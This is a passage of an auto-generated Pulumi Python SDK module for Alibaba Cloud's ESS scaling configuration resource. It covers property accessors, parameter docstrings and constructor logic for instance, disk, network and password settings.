:param pulumi.Input[str] user_data: User-defined data to customize the startup behaviors of the ECS instance and to pass data into the ECS instance.
"""
if active is not None:
pulumi.set(__self__, "active", active)
if credit_specification is not None:
pulumi.set(__self__, "credit_specification", credit_specification)
if data_disks is not None:
pulumi.set(__self__, "data_disks", data_disks)
if enable is not None:
pulumi.set(__self__, "enable", enable)
if force_delete is not None:
pulumi.set(__self__, "force_delete", force_delete)
if image_id is not None:
pulumi.set(__self__, "image_id", image_id)
if image_name is not None:
pulumi.set(__self__, "image_name", image_name)
if instance_ids is not None:
warnings.warn("""Field 'instance_ids' has been deprecated from provider version 1.6.0. New resource 'alicloud_ess_attachment' replaces it.""", DeprecationWarning)
pulumi.log.warn("""instance_ids is deprecated: Field 'instance_ids' has been deprecated from provider version 1.6.0. New resource 'alicloud_ess_attachment' replaces it.""")
if instance_ids is not None:
pulumi.set(__self__, "instance_ids", instance_ids)
if instance_name is not None:
pulumi.set(__self__, "instance_name", instance_name)
if instance_type is not None:
pulumi.set(__self__, "instance_type", instance_type)
if instance_types is not None:
pulumi.set(__self__, "instance_types", instance_types)
if internet_charge_type is not None:
pulumi.set(__self__, "internet_charge_type", internet_charge_type)
if internet_max_bandwidth_in is not None:
pulumi.set(__self__, "internet_max_bandwidth_in", internet_max_bandwidth_in)
if internet_max_bandwidth_out is not None:
pulumi.set(__self__, "internet_max_bandwidth_out", internet_max_bandwidth_out)
if io_optimized is not None:
warnings.warn("""Attribute io_optimized has been deprecated on instance resource. All the launched alicloud instances will be IO optimized. Suggest to remove it from your template.""", DeprecationWarning)
pulumi.log.warn("""io_optimized is deprecated: Attribute io_optimized has been deprecated on instance resource. All the launched alicloud instances will be IO optimized. Suggest to remove it from your template.""")
if io_optimized is not None:
pulumi.set(__self__, "io_optimized", io_optimized)
if is_outdated is not None:
pulumi.set(__self__, "is_outdated", is_outdated)
if key_name is not None:
pulumi.set(__self__, "key_name", key_name)
if kms_encrypted_password is not None:
pulumi.set(__self__, "kms_encrypted_password", kms_encrypted_password)
if kms_encryption_context is not None:
pulumi.set(__self__, "kms_encryption_context", kms_encryption_context)
if override is not None:
pulumi.set(__self__, "override", override)
if password is not None:
pulumi.set(__self__, "password", password)
if password_inherit is not None:
pulumi.set(__self__, "password_inherit", password_inherit)
if resource_group_id is not None:
pulumi.set(__self__, "resource_group_id", resource_group_id)
if role_name is not None:
pulumi.set(__self__, "role_name", role_name)
if scaling_configuration_name is not None:
pulumi.set(__self__, "scaling_configuration_name", scaling_configuration_name)
if scaling_group_id is not None:
pulumi.set(__self__, "scaling_group_id", scaling_group_id)
if security_group_id is not None:
pulumi.set(__self__, "security_group_id", security_group_id)
if security_group_ids is not None:
pulumi.set(__self__, "security_group_ids", security_group_ids)
if substitute is not None:
pulumi.set(__self__, "substitute", substitute)
if system_disk_auto_snapshot_policy_id is not None:
pulumi.set(__self__, "system_disk_auto_snapshot_policy_id", system_disk_auto_snapshot_policy_id)
if system_disk_category is not None:
pulumi.set(__self__, "system_disk_category", system_disk_category)
if system_disk_description is not None:
pulumi.set(__self__, "system_disk_description", system_disk_description)
if system_disk_name is not None:
pulumi.set(__self__, "system_disk_name", system_disk_name)
if system_disk_performance_level is not None:
pulumi.set(__self__, "system_disk_performance_level", system_disk_performance_level)
if system_disk_size is not None:
pulumi.set(__self__, "system_disk_size", system_disk_size)
if tags is not None:
pulumi.set(__self__, "tags", tags)
if user_data is not None:
pulumi.set(__self__, "user_data", user_data)
@property
@pulumi.getter
def active(self) -> Optional[pulumi.Input[bool]]:
"""
Whether active current scaling configuration in the specified scaling group. Default to `false`.
"""
return pulumi.get(self, "active")
@active.setter
def active(self, value: Optional[pulumi.Input[bool]]):
pulumi.set(self, "active", value)
@property
@pulumi.getter(name="creditSpecification")
def credit_specification(self) -> Optional[pulumi.Input[str]]:
"""
Performance mode of the t5 burstable instance. Valid values: 'Standard', 'Unlimited'.
"""
return pulumi.get(self, "credit_specification")
@credit_specification.setter
def credit_specification(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "credit_specification", value)
@property
@pulumi.getter(name="dataDisks")
def data_disks(self) -> Optional[pulumi.Input[Sequence[pulumi.Input['ScalingConfigurationDataDiskArgs']]]]:
"""
DataDisk mappings to attach to ecs instance. See Block datadisk below for details.
"""
return pulumi.get(self, "data_disks")
@data_disks.setter
def data_disks(self, value: Optional[pulumi.Input[Sequence[pulumi.Input['ScalingConfigurationDataDiskArgs']]]]):
pulumi.set(self, "data_disks", value)
@property
@pulumi.getter
def enable(self) -> Optional[pulumi.Input[bool]]:
"""
Whether enable the specified scaling group(make it active) to which the current scaling configuration belongs.
"""
return pulumi.get(self, "enable")
@enable.setter
def enable(self, value: Optional[pulumi.Input[bool]]):
pulumi.set(self, "enable", value)
@property
@pulumi.getter(name="forceDelete")
def force_delete(self) -> Optional[pulumi.Input[bool]]:
"""
The last scaling configuration will be deleted forcibly with deleting its scaling group. Default to false.
"""
return pulumi.get(self, "force_delete")
@force_delete.setter
def force_delete(self, value: Optional[pulumi.Input[bool]]):
pulumi.set(self, "force_delete", value)
@property
@pulumi.getter(name="imageId")
def image_id(self) -> Optional[pulumi.Input[str]]:
"""
ID of an image file, indicating the image resource selected when an instance is enabled.
"""
return pulumi.get(self, "image_id")
@image_id.setter
def image_id(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "image_id", value)
@property
@pulumi.getter(name="imageName")
def image_name(self) -> Optional[pulumi.Input[str]]:
"""
Name of an image file, indicating the image resource selected when an instance is enabled.
"""
return pulumi.get(self, "image_name")
@image_name.setter
def image_name(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "image_name", value)
@property
@pulumi.getter(name="instanceIds")
def instance_ids(self) -> Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]:
"""
It has been deprecated from version 1.6.0. New resource `ess.Attachment` replaces it.
"""
return pulumi.get(self, "instance_ids")
@instance_ids.setter
def instance_ids(self, value: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]):
pulumi.set(self, "instance_ids", value)
@property
@pulumi.getter(name="instanceName")
def instance_name(self) -> Optional[pulumi.Input[str]]:
"""
Name of an ECS instance. Default to "ESS-Instance". It is valid from version 1.7.1.
"""
return pulumi.get(self, "instance_name")
@instance_name.setter
def instance_name(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "instance_name", value)
@property
@pulumi.getter(name="instanceType")
def instance_type(self) -> Optional[pulumi.Input[str]]:
"""
Resource type of an ECS instance.
"""
return pulumi.get(self, "instance_type")
@instance_type.setter
def instance_type(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "instance_type", value)
@property
@pulumi.getter(name="instanceTypes")
def instance_types(self) -> Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]:
"""
Resource types of an ECS instance.
"""
return pulumi.get(self, "instance_types")
@instance_types.setter
def instance_types(self, value: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]):
pulumi.set(self, "instance_types", value)
@property
@pulumi.getter(name="internetChargeType")
def internet_charge_type(self) -> Optional[pulumi.Input[str]]:
"""
Network billing type, Values: PayByBandwidth or PayByTraffic. Default to `PayByBandwidth`.
"""
return pulumi.get(self, "internet_charge_type")
@internet_charge_type.setter
def internet_charge_type(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "internet_charge_type", value)
@property
@pulumi.getter(name="internetMaxBandwidthIn")
def internet_max_bandwidth_in(self) -> Optional[pulumi.Input[int]]:
"""
Maximum incoming bandwidth from the public network, measured in Mbps (Mega bit per second). The value range is [1,200].
"""
return pulumi.get(self, "internet_max_bandwidth_in")
@internet_max_bandwidth_in.setter
def internet_max_bandwidth_in(self, value: Optional[pulumi.Input[int]]):
pulumi.set(self, "internet_max_bandwidth_in", value)
@property
@pulumi.getter(name="internetMaxBandwidthOut")
def internet_max_bandwidth_out(self) -> Optional[pulumi.Input[int]]:
"""
Maximum outgoing bandwidth from the public network, measured in Mbps (Mega bit per second). The value range for PayByBandwidth is [0,100].
"""
return pulumi.get(self, "internet_max_bandwidth_out")
@internet_max_bandwidth_out.setter
def internet_max_bandwidth_out(self, value: Optional[pulumi.Input[int]]):
pulumi.set(self, "internet_max_bandwidth_out", value)
@property
@pulumi.getter(name="ioOptimized")
def io_optimized(self) -> Optional[pulumi.Input[str]]:
"""
It has been deprecated on instance resource. All the launched alicloud instances will be I/O optimized.
"""
return pulumi.get(self, "io_optimized")
@io_optimized.setter
def io_optimized(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "io_optimized", value)
@property
@pulumi.getter(name="isOutdated")
def is_outdated(self) -> Optional[pulumi.Input[bool]]:
"""
Whether to use outdated instance type. Default to false.
"""
return pulumi.get(self, "is_outdated")
@is_outdated.setter
def is_outdated(self, value: Optional[pulumi.Input[bool]]):
pulumi.set(self, "is_outdated", value)
@property
@pulumi.getter(name="keyName")
def key_name(self) -> Optional[pulumi.Input[str]]:
"""
The name of key pair that can login ECS instance successfully without password. If it is specified, the password would be invalid.
"""
return pulumi.get(self, "key_name")
@key_name.setter
def key_name(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "key_name", value)
@property
@pulumi.getter(name="kmsEncryptedPassword")
def kms_encrypted_password(self) -> Optional[pulumi.Input[str]]:
"""
An KMS encrypts password used to a db account. If the `password` is filled in, this field will be ignored.
"""
return pulumi.get(self, "kms_encrypted_password")
@kms_encrypted_password.setter
def kms_encrypted_password(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "kms_encrypted_password", value)
@property
@pulumi.getter(name="kmsEncryptionContext")
def kms_encryption_context(self) -> Optional[pulumi.Input[Mapping[str, Any]]]:
"""
An KMS encryption context used to decrypt `kms_encrypted_password` before creating or updating a db account with `kms_encrypted_password`. See [Encryption Context](https://www.alibabacloud.com/help/doc-detail/42975.htm). It is valid when `kms_encrypted_password` is set.
"""
return pulumi.get(self, "kms_encryption_context")
@kms_encryption_context.setter
def kms_encryption_context(self, value: Optional[pulumi.Input[Mapping[str, Any]]]):
pulumi.set(self, "kms_encryption_context", value)
@property
@pulumi.getter
def override(self) -> Optional[pulumi.Input[bool]]:
"""
Indicates whether to overwrite the existing data. Default to false.
"""
return pulumi.get(self, "override")
@override.setter
def override(self, value: Optional[pulumi.Input[bool]]):
pulumi.set(self, "override", value)
@property
@pulumi.getter
def password(self) -> Optional[pulumi.Input[str]]:
"""
The password of the ECS instance. The password must be 8 to 30 characters in length. It must contains at least three of the following character types: uppercase letters, lowercase letters, digits, and special characters. Special characters include `() ~!@#$%^&*-_+=\|{}[]:;'<>,.?/`, The password of Windows-based instances cannot start with a forward slash (/).
"""
return pulumi.get(self, "password")
@password.setter
def password(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "password", value)
@property
@pulumi.getter(name="passwordInherit")
def password_inherit(self) -> Optional[pulumi.Input[bool]]:
"""
Specifies whether to use the password that is predefined in the image. If the PasswordInherit parameter is set to true, the `password` and `kms_encrypted_password` will be ignored. You must ensure that the selected image has a password configured.
"""
return pulumi.get(self, "password_inherit")
@password_inherit.setter
def password_inherit(self, value: Optional[pulumi.Input[bool]]):
pulumi.set(self, "password_inherit", value)
@property
@pulumi.getter(name="resourceGroupId")
def resource_group_id(self) -> Optional[pulumi.Input[str]]:
"""
ID of resource group.
"""
return pulumi.get(self, "resource_group_id")
@resource_group_id.setter
def resource_group_id(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "resource_group_id", value)
@property
@pulumi.getter(name="roleName")
def role_name(self) -> Optional[pulumi.Input[str]]:
"""
Instance RAM role name. The name is provided and maintained by RAM. You can use `ram.Role` to create a new one.
"""
return pulumi.get(self, "role_name")
@role_name.setter
def role_name(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "role_name", value)
@property
@pulumi.getter(name="scalingConfigurationName")
def scaling_configuration_name(self) -> Optional[pulumi.Input[str]]:
"""
Name shown for the scheduled task. which must contain 2-64 characters (English or Chinese), starting with numbers, English letters or Chinese characters, and can contain number, underscores `_`, hypens `-`, and decimal point `.`. If this parameter value is not specified, the default value is ScalingConfigurationId.
"""
return pulumi.get(self, "scaling_configuration_name")
@scaling_configuration_name.setter
def scaling_configuration_name(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "scaling_configuration_name", value)
@property
@pulumi.getter(name="scalingGroupId")
def scaling_group_id(self) -> Optional[pulumi.Input[str]]:
"""
ID of the scaling group of a scaling configuration.
"""
return pulumi.get(self, "scaling_group_id")
@scaling_group_id.setter
def scaling_group_id(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "scaling_group_id", value)
@property
@pulumi.getter(name="securityGroupId")
def security_group_id(self) -> Optional[pulumi.Input[str]]:
"""
ID of the security group used to create new instance. It is conflict with `security_group_ids`.
"""
return pulumi.get(self, "security_group_id")
@security_group_id.setter
def security_group_id(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "security_group_id", value)
@property
@pulumi.getter(name="securityGroupIds")
def security_group_ids(self) -> Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]:
"""
List IDs of the security group used to create new instances. It is conflict with `security_group_id`.
"""
return pulumi.get(self, "security_group_ids")
@security_group_ids.setter
def security_group_ids(self, value: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]):
pulumi.set(self, "security_group_ids", value)
@property
@pulumi.getter
def substitute(self) -> Optional[pulumi.Input[str]]:
"""
The another scaling configuration which will be active automatically and replace current configuration when setting `active` to 'false'. It is invalid when `active` is 'true'.
"""
return pulumi.get(self, "substitute")
@substitute.setter
def substitute(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "substitute", value)
@property
@pulumi.getter(name="systemDiskAutoSnapshotPolicyId")
def system_disk_auto_snapshot_policy_id(self) -> Optional[pulumi.Input[str]]:
"""
The id of auto snapshot policy for system disk.
"""
return pulumi.get(self, "system_disk_auto_snapshot_policy_id")
@system_disk_auto_snapshot_policy_id.setter
def system_disk_auto_snapshot_policy_id(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "system_disk_auto_snapshot_policy_id", value)
@property
@pulumi.getter(name="systemDiskCategory")
def system_disk_category(self) -> Optional[pulumi.Input[str]]:
"""
Category of the system disk. The parameter value options are `ephemeral_ssd`, `cloud_efficiency`, `cloud_ssd`, `cloud_essd` and `cloud`. `cloud` only is used to some no I/O optimized instance. Default to `cloud_efficiency`.
"""
return pulumi.get(self, "system_disk_category")
@system_disk_category.setter
def system_disk_category(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "system_disk_category", value)
@property
@pulumi.getter(name="systemDiskDescription")
def system_disk_description(self) -> Optional[pulumi.Input[str]]:
"""
The description of the system disk. The description must be 2 to 256 characters in length and cannot start with http:// or https://.
"""
return pulumi.get(self, "system_disk_description")
@system_disk_description.setter
def system_disk_description(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "system_disk_description", value)
@property
@pulumi.getter(name="systemDiskName")
def system_disk_name(self) -> Optional[pulumi.Input[str]]:
"""
The name of the system disk. It must be 2 to 128 characters in length. It must start with a letter and cannot start with http:// or https://. It can contain letters, digits, colons (:), underscores (_), and hyphens (-). Default value: null.
"""
return pulumi.get(self, "system_disk_name")
@system_disk_name.setter
def system_disk_name(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "system_disk_name", value)
@property
@pulumi.getter(name="systemDiskPerformanceLevel")
def system_disk_performance_level(self) -> Optional[pulumi.Input[str]]:
"""
The performance level of the ESSD used as the system disk.
"""
return pulumi.get(self, "system_disk_performance_level")
@system_disk_performance_level.setter
def system_disk_performance_level(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "system_disk_performance_level", value)
@property
@pulumi.getter(name="systemDiskSize")
def system_disk_size(self) -> Optional[pulumi.Input[int]]:
"""
Size of system disk, in GiB. Optional values: cloud: 20-500, cloud_efficiency: 20-500, cloud_ssd: 20-500, ephemeral_ssd: 20-500 The default value is max{40, ImageSize}. If this parameter is set, the system disk size must be greater than or equal to max{40, ImageSize}.
"""
return pulumi.get(self, "system_disk_size")
@system_disk_size.setter
def system_disk_size(self, value: Optional[pulumi.Input[int]]):
pulumi.set(self, "system_disk_size", value)
@property
@pulumi.getter
def tags(self) -> Optional[pulumi.Input[Mapping[str, Any]]]:
"""
A mapping of tags to assign to the resource. It will be applied for ECS instances finally.
- Key: It can be up to 64 characters in length. It cannot begin with "aliyun", "http://", or "https://". It cannot be a null string.
- Value: It can be up to 128 characters in length. It cannot begin with "aliyun", "http://", or "https://" It can be a null string.
"""
return pulumi.get(self, "tags")
@tags.setter
def tags(self, value: Optional[pulumi.Input[Mapping[str, Any]]]):
pulumi.set(self, "tags", value)
@property
@pulumi.getter(name="userData")
def user_data(self) -> Optional[pulumi.Input[str]]:
"""
User-defined data to customize the startup behaviors of the ECS instance and to pass data into the ECS instance.
"""
return pulumi.get(self, "user_data")
@user_data.setter
def user_data(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "user_data", value)
class ScalingConfiguration(pulumi.CustomResource):
@overload
def __init__(__self__,
resource_name: str,
opts: Optional[pulumi.ResourceOptions] = None,
active: Optional[pulumi.Input[bool]] = None,
credit_specification: Optional[pulumi.Input[str]] = None,
data_disks: Optional[pulumi.Input[Sequence[pulumi.Input[pulumi.InputType['ScalingConfigurationDataDiskArgs']]]]] = None,
enable: Optional[pulumi.Input[bool]] = None,
force_delete: Optional[pulumi.Input[bool]] = None,
image_id: Optional[pulumi.Input[str]] = None,
image_name: Optional[pulumi.Input[str]] = None,
instance_ids: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None,
instance_name: Optional[pulumi.Input[str]] = None,
instance_type: Optional[pulumi.Input[str]] = None,
instance_types: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None,
internet_charge_type: Optional[pulumi.Input[str]] = None,
internet_max_bandwidth_in: Optional[pulumi.Input[int]] = None,
internet_max_bandwidth_out: Optional[pulumi.Input[int]] = None,
io_optimized: Optional[pulumi.Input[str]] = None,
is_outdated: Optional[pulumi.Input[bool]] = None,
key_name: Optional[pulumi.Input[str]] = None,
kms_encrypted_password: Optional[pulumi.Input[str]] = None,
kms_encryption_context: Optional[pulumi.Input[Mapping[str, Any]]] = None,
override: Optional[pulumi.Input[bool]] = None,
password: Optional[pulumi.Input[str]] = None,
password_inherit: Optional[pulumi.Input[bool]] = None,
resource_group_id: Optional[pulumi.Input[str]] = None,
role_name: Optional[pulumi.Input[str]] = None,
scaling_configuration_name: Optional[pulumi.Input[str]] = None,
scaling_group_id: Optional[pulumi.Input[str]] = None,
security_group_id: Optional[pulumi.Input[str]] = None,
security_group_ids: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None,
substitute: Optional[pulumi.Input[str]] = None,
system_disk_auto_snapshot_policy_id: Optional[pulumi.Input[str]] = None,
system_disk_category: Optional[pulumi.Input[str]] = None,
system_disk_description: Optional[pulumi.Input[str]] = None,
system_disk_name: Optional[pulumi.Input[str]] = None,
system_disk_performance_level: Optional[pulumi.Input[str]] = None,
system_disk_size: Optional[pulumi.Input[int]] = None,
tags: Optional[pulumi.Input[Mapping[str, Any]]] = None,
user_data: Optional[pulumi.Input[str]] = None,
__props__=None):
"""
## Import
ESS scaling configuration can be imported using the id, e.g.
```sh
$ pulumi import alicloud:ess/scalingConfiguration:ScalingConfiguration example asg-abc123456
```
:param str resource_name: The name of the resource.
:param pulumi.ResourceOptions opts: Options for the resource.
:param pulumi.Input[bool] active: Whether active current scaling configuration in the specified scaling group. Default to `false`.
:param pulumi.Input[str] credit_specification: Performance mode of the t5 burstable instance. Valid values: 'Standard', 'Unlimited'.
:param pulumi.Input[Sequence[pulumi.Input[pulumi.InputType['ScalingConfigurationDataDiskArgs']]]] data_disks: DataDisk mappings to attach to ecs instance. See Block datadisk below for details.
:param pulumi.Input[bool] enable: Whether enable the specified scaling group(make it active) to which the current scaling configuration belongs.
:param pulumi.Input[bool] force_delete: The last scaling configuration will be deleted forcibly with deleting its scaling group. Default to false.
:param pulumi.Input[str] image_id: ID of an image file, indicating the image resource selected when an instance is enabled.
:param pulumi.Input[str] image_name: Name of an image file, indicating the image resource selected when an instance is enabled.
:param pulumi.Input[Sequence[pulumi.Input[str]]] instance_ids: It has been deprecated from version 1.6.0. New resource `ess.Attachment` replaces it.
:param pulumi.Input[str] instance_name: Name of an ECS instance. Default to "ESS-Instance". It is valid from version 1.7.1.
:param pulumi.Input[str] instance_type: Resource type of an ECS instance.
:param pulumi.Input[Sequence[pulumi.Input[str]]] instance_types: Resource types of an ECS instance.
:param pulumi.Input[str] internet_charge_type: Network billing type, Values: PayByBandwidth or PayByTraffic. Default to `PayByBandwidth`.
:param pulumi.Input[int] internet_max_bandwidth_in: Maximum incoming bandwidth from the public network, measured in Mbps (Mega bit per second). The value range is [1,200].
:param pulumi.Input[int] internet_max_bandwidth_out: Maximum outgoing bandwidth from the public network, measured in Mbps (Mega bit per second). The value range for PayByBandwidth is [0,100].
:param pulumi.Input[str] io_optimized: It has been deprecated on instance resource. All the launched alicloud instances will be I/O optimized.
:param pulumi.Input[bool] is_outdated: Whether to use outdated instance type. Default to false.
:param pulumi.Input[str] key_name: The name of key pair that can login ECS instance successfully without password. If it is specified, the password would be invalid.
:param pulumi.Input[str] kms_encrypted_password: An KMS encrypts password used to a db account. If the `password` is filled in, this field will be ignored.
:param pulumi.Input[Mapping[str, Any]] kms_encryption_context: An KMS encryption context used to decrypt `kms_encrypted_password` before creating or updating a db account with `kms_encrypted_password`. See [Encryption Context](https://www.alibabacloud.com/help/doc-detail/42975.htm). It is valid when `kms_encrypted_password` is set.
:param pulumi.Input[bool] override: Indicates whether to overwrite the existing data. Default to false.
:param pulumi.Input[str] password: The password of the ECS instance. The password must be 8 to 30 characters in length. It must contains at least three of the following character types: uppercase letters, lowercase letters, digits, and special characters. Special characters include `() ~!@#$%^&*-_+=\|{}[]:;'<>,.?/`, The password of Windows-based instances cannot start with a forward slash (/).
:param pulumi.Input[bool] password_inherit: Specifies whether to use the password that is predefined in the image. If the PasswordInherit parameter is set to true, the `password` and `kms_encrypted_password` will be ignored. You must ensure that the selected image has a password configured.
:param pulumi.Input[str] resource_group_id: ID of resource group.
:param pulumi.Input[str] role_name: Instance RAM role name. The name is provided and maintained by RAM. You can use `ram.Role` to create a new one.
:param pulumi.Input[str] scaling_configuration_name: Name shown for the scheduled task. which must contain 2-64 characters (English or Chinese), starting with numbers, English letters or Chinese characters, and can contain number, underscores `_`, hypens `-`, and decimal point `.`. If this parameter value is not specified, the default value is ScalingConfigurationId.
:param pulumi.Input[str] scaling_group_id: ID of the scaling group of a scaling configuration.
:param pulumi.Input[str] security_group_id: ID of the security group used to create new instance. It is conflict with `security_group_ids`.
:param pulumi.Input[Sequence[pulumi.Input[str]]] security_group_ids: List IDs of the security group used to create new instances. It is conflict with `security_group_id`.
:param pulumi.Input[str] substitute: The another scaling configuration which will be active automatically and replace current configuration when setting `active` to 'false'. It is invalid when `active` is 'true'.
:param pulumi.Input[str] system_disk_auto_snapshot_policy_id: The id of auto snapshot policy for system disk.
:param pulumi.Input[str] system_disk_category: Category of the system disk. The parameter value options are `ephemeral_ssd`, `cloud_efficiency`, `cloud_ssd`, `cloud_essd` and `cloud`. `cloud` only is used to some no I/O optimized instance. Default to `cloud_efficiency`.
:param pulumi.Input[str] system_disk_description: The description of the system disk. The description must be 2 to 256 characters in length and cannot start with http:// or https://.
:param pulumi.Input[str] system_disk_name: The name of the system disk. It must be 2 to 128 characters in length. It must start with a letter and cannot start with http:// or https://. It can contain letters, digits, colons (:), underscores (_), and hyphens (-). Default value: null.
:param pulumi.Input[str] system_disk_performance_level: The performance level of the ESSD used as the system disk.
:param pulumi.Input[int] system_disk_size: Size of system disk, in GiB. Optional values: cloud: 20-500, cloud_efficiency: 20-500, cloud_ssd: 20-500, ephemeral_ssd: 20-500 The default value is max{40, ImageSize}. If this parameter is set, the system disk size must be greater than or equal to max{40, ImageSize}.
:param pulumi.Input[Mapping[str, Any]] tags: A mapping of tags to assign to the resource. It will be applied for ECS instances finally.
- Key: It can be up to 64 characters in length. It cannot begin with "aliyun", "http://", or "https://". It cannot be a null string.
- Value: It can be up to 128 characters in length. It cannot begin with "aliyun", "http://", or "https://" It can be a null string.
:param pulumi.Input[str] user_data: User-defined data to customize the startup behaviors of the ECS instance and to pass data into the ECS instance.
"""
...
@overload
def __init__(__self__,
resource_name: str,
args: ScalingConfigurationArgs,
opts: Optional[pulumi.ResourceOptions] = None):
"""
## Import
ESS scaling configuration can be imported using the id, e.g.
```sh
$ pulumi import alicloud:ess/scalingConfiguration:ScalingConfiguration example asg-abc123456
```
:param str resource_name: The name of the resource.
:param ScalingConfigurationArgs args: The arguments to use to populate this resource's properties.
:param pulumi.ResourceOptions opts: Options for the resource.
"""
...
def __init__(__self__, resource_name: str, *args, **kwargs):
resource_args, opts = _utilities.get_resource_args_opts(ScalingConfigurationArgs, pulumi.ResourceOptions, *args, **kwargs)
if resource_args is not None:
__self__._internal_init(resource_name, opts, **resource_args.__dict__)
else:
__self__._internal_init(resource_name, *args, **kwargs)
def _internal_init(__self__,
resource_name: str,
opts: Optional[pulumi.ResourceOptions] = None,
active: Optional[pulumi.Input[bool]] = None,
credit_specification: Optional[pulumi.Input[str]] = None,
data_disks: Optional[pulumi.Input[Sequence[pulumi.Input[pulumi.InputType['ScalingConfigurationDataDiskArgs']]]]] = None,
enable: Optional[pulumi.Input[bool]] = None,
force_delete: Optional[pulumi.Input[bool]] = None,
image_id: Optional[pulumi.Input[str]] = None,
image_name: Optional[pulumi.Input[str]] = None,
instance_ids: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None,
instance_name: Optional[pulumi.Input[str]] = None,
instance_type: Optional[pulumi.Input[str]] = None,
instance_types: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None,
internet_charge_type: Optional[pulumi.Input[str]] = None,
internet_max_bandwidth_in: Optional[pulumi.Input[int]] = None,
internet_max_bandwidth_out: Optional[pulumi.Input[int]] = None,
io_optimized: Optional[pulumi.Input[str]] = None,
is_outdated: Optional[pulumi.Input[bool]] = None,
key_name: Optional[pulumi.Input[str]] = None,
kms_encrypted_password: Optional[pulumi.Input[str]] = None,
kms_encryption_context: Optional[pulumi.Input[Mapping[str, Any]]] = None,
override: Optional[pulumi.Input[bool]] = None,
password: Optional[pulumi.Input[str]] = None,
password_inherit: Optional[pulumi.Input[bool]] = None,
resource_group_id: Optional[pulumi.Input[str]] = None,
role_name: Optional[pulumi.Input[str]] = None,
scaling_configuration_name: Optional[pulumi.Input[str]] = None,
scaling_group_id: Optional[pulumi.Input[str]] = None,
security_group_id: Optional[pulumi.Input[str]] = None,
security_group_ids: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None,
substitute: Optional[pulumi.Input[str]] = None,
system_disk_auto_snapshot_policy_id: Optional[pulumi.Input[str]] = None,
system_disk_category: Optional[pulumi.Input[str]] = None,
system_disk_description: Optional[pulumi.Input[str]] = None,
system_disk_name: Optional[pulumi.Input[str]] = None,
system_disk_performance_level: Optional[pulumi.Input[str]] = None,
system_disk_size: Optional[pulumi.Input[int]] = None,
tags: Optional[pulumi.Input[Mapping[str, Any]]] = None,
user_data: Optional[pulumi.Input[str]] = None,
__props__=None):
if opts is None:
opts = pulumi.ResourceOptions()
if not isinstance(opts, pulumi.ResourceOptions):
raise TypeError('Expected resource options to be a ResourceOptions instance')
if opts.version is None:
opts.version = _utilities.get_version()
if opts.id is None:
if __props__ is not None:
raise TypeError('__props__ is only valid when passed in combination with a valid opts.id to get an existing resource')
__props__ = ScalingConfigurationArgs.__new__(ScalingConfigurationArgs)
__props__.__dict__["active"] = active
__props__.__dict__["credit_specification"] = credit_specification
__props__.__dict__["data_disks"] = data_disks
__props__.__dict__["enable"] = enable
__props__.__dict__["force_delete"] = force_delete
__props__.__dict__["image_id"] = image_id
__props__.__dict__["image_name"] = image_name
if instance_ids is not None and not opts.urn:
warnings.warn("""Field 'instance_ids' has been deprecated from provider version 1.6.0. New resource 'alicloud_ess_attachment' replaces it.""", DeprecationWarning)
pulumi.log.warn("""instance_ids is deprecated: Field 'instance_ids' has been deprecated from provider version 1.6.0. New resource 'alicloud_ess_attachment' replaces it.""")
__props__.__dict__["instance_ids"] = instance_ids
__props__.__dict__["instance_name"] = instance_name
__props__.__dict__["instance_type"] = instance_type
__props__.__dict__["instance_types"] = instance_types
__props__.__dict__["internet_charge_type"] = internet_charge_type
__props__.__dict__["internet_max_bandwidth_in"] = internet_max_bandwidth_in
__props__.__dict__["internet_max_bandwidth_out"] = internet_max_bandwidth_out
if io_optimized is not None and not opts.urn:
warnings.warn("""Attribute io_optimized has been deprecated on instance resource. All the launched alicloud instances will be IO optimized. Suggest to remove it from your template.""", DeprecationWarning)
pulumi.log.warn("""io_optimized is deprecated: Attribute io_optimized has been deprecated on instance resource. All the launched alicloud instances will be IO optimized. Suggest to remove it from your template.""")
__props__.__dict__["io_optimized"] = io_optimized
__props__.__dict__["is_outdated"] = is_outdated
__props__.__dict__["key_name"] = key_name
__props__.__dict__["kms_encrypted_password"] = kms_encrypted_password
__props__.__dict__["kms_encryption_context"] = kms_encryption_context
__props__.__dict__["override"] = override
__props__.__dict__["password"] = password
__props__.__dict__["password_inherit"] = password_inherit
__props__.__dict__["resource_group_id"] = resource_group_id
__props__.__dict__["role_name"] = role_name
__props__.__dict__["scaling_configuration_name"] = scaling_configuration_name
if scaling_group_id is None and not opts.urn:
raise TypeError("Missing required property 'scaling_group_id'")
__props__.__dict__["scaling_group_id"] = scaling_group_id
__props__.__dict__["security_group_id"] = security_group_id
__props__.__dict__["security_group_ids"] = security_group_ids
__props__.__dict__["substitute"] = substitute
